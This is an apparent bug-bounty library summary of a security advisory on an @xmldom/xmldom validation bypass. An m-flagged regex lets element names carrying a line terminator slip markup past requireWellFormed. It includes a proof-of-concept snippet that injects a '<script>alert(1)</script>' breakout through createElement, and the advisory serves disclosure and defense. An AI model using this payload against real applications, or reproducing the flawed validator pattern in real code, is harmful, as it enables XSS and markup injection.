# xmldom: requireWellFormed element/attribute name validation is bypassable via an embedded line terminator

xmldom's requireWellFormed QName check uses an m-flagged regex, so a name with a valid first line plus line terminator and breakout markup serializes into injected XML.

- Payout: Research
- Severity: high
- Program: xmldom
- Found by: karfau
- Disclosed: 2026-09-08
- CVE: CVE-2026-83617
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-jxjr-3g7g-3944
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-jxjr-3g7g-3944
- Tags: area:oss domain:oss impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:xss

**Target:** XMLSerializer requireWellFormed name validation in @xmldom/xmldom
**Root cause:** A shared regexp builder compiles anchored QName productions with the `m` flag, so `^...$` become line anchors; `QName_exact.test(name)` accepts any name with one conforming line, letting a line terminator plus breakout markup pass.
**Steps:**
1. Build a doc and element with a name whose first line is a valid QName: `doc.createElement('a\n><script>alert(1)</script')`.
2. Append it and serialize with `new XMLSerializer().serializeToString(doc, { requireWellFormed: true })`.
3. Observe no throw; output contains the injected `><script>…` breakout.
4. Control: `createElement('a b')` with requireWellFormed throws InvalidStateError, confirming the check is active and only the line terminator defeats it.
**How found:** Noticed the shared regexp builder compiles anchored productions with the `m` flag, so the full-string QName matcher inherits line anchors; hypothesized a multi-line name with one valid line would pass, and confirmed with a control case.
**Exploitation:** Attacker-influenced input reaches createElement/createElementNS/createAttribute/createAttributeNS; when the app serializes with requireWellFormed:true expecting rejection, the name is emitted verbatim and bytes after the line terminator break out of the tag/attribute, injecting markup into the serialized XML.
**Escalation:** Where serialized output is placed into an HTML context, the markup injection becomes downstream XSS.
**Insight:** When auditing regex-based validators, check for the `m` flag on anchored `^...$` patterns: they validate per-line, not the whole string, so any input with one conforming line plus a line terminator (U+000A/000D/2028/2029) slips through.

## Proof of concept (copied exactly from the original report)

**Element name with line terminator bypasses requireWellFormed**

```
const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');

// Element name carrying an embedded line terminator + breakout markup:
const doc = new DOMImplementation().createDocument(null, 'root', null);
const el = doc.createElement('a\n><script>alert(1)</script');
doc.documentElement.appendChild(el);

// Caller opted into well-formed serialization, expecting invalid names to be rejected:
console.log(new XMLSerializer().serializeToString(doc, { requireWellFormed: true }));
// Observed on the affected version: NO throw; the output contains the injected `><script>…`
// breakout, because the name's first line ("a") satisfies the m-anchored QName check.
// Expected: InvalidStateError (the name is not a valid XML QName).

// Control — a single-line invalid name IS correctly rejected, proving the check is active and
// that only the line terminator defeats it:
const ctrl = new DOMImplementation().createDocument(null, 'root', null);
ctrl.documentElement.appendChild(ctrl.createElement('a b'));
new XMLSerializer().serializeToString(ctrl, { requireWellFormed: true });
// => throws InvalidStateError: The element name "a b" is not a valid XML QName
```

